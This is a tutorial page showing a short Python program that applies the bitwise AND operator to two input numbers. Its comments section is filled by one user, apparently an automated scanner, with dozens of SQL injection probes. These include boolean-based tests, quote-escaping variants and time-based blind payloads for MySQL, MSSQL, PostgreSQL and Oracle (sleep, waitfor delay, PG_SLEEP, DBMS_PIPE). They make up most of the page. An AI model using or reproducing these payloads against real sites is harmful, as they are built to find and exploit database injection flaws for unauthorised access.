Python Bitwise AND

Python Program to illustrate bitwise ANDoperator

Sample Input 1 :

1 4

Sample Output 1 :

0

Program or Solution

				
			
					
num1=int(input("Enter your First Number:"))
num2=int(input("Enter your Second Number:"))
num=num1&num2
print("After Bit Wise And: {}".format(num))

			
				
			

Program Explanation

1 & 1 = 1 0 & anything = 0

Comments

ubaTaeCJ
-1 OR 2+498-498-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+498-498-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+498-498) --
ubaTaeCJ
-1 OR 3*2>(0+5+498-498) --
ubaTaeCJ
-1 OR 2+855-855-1=0+0+0+1
ubaTaeCJ
-1 OR 3+855-855-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+855-855)
ubaTaeCJ
-1 OR 3*2>(0+5+855-855)
ubaTaeCJ
-1' OR 2+826-826-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+826-826-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+826-826) --
ubaTaeCJ
-1' OR 3*2>(0+5+826-826) --
ubaTaeCJ
-1' OR 2+501-501-1=0+0+0+1 or 's9NFUCYN'='
ubaTaeCJ
-1' OR 3+501-501-1=0+0+0+1 or 's9NFUCYN'='
ubaTaeCJ
-1' OR 3*2<(0+5+501-501) or 's9NFUCYN'='
ubaTaeCJ
-1' OR 3*2>(0+5+501-501) or 's9NFUCYN'='
ubaTaeCJ
-1" OR 2+190-190-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+190-190-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+190-190) --
ubaTaeCJ
-1" OR 3*2>(0+5+190-190) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
FwfRfg4L'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 790=(SELECT 790 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 715=(SELECT 715 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 880=(SELECT 880 FROM PG_SLEEP(15))--
ubaTaeCJ
gtj5XUzw' OR 835=(SELECT 835 FROM PG_SLEEP(15))--
ubaTaeCJ
K1ouk3rO') OR 704=(SELECT 704 FROM PG_SLEEP(15))--
ubaTaeCJ
OQrSNgWN')) OR 557=(SELECT 557 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@8cY5n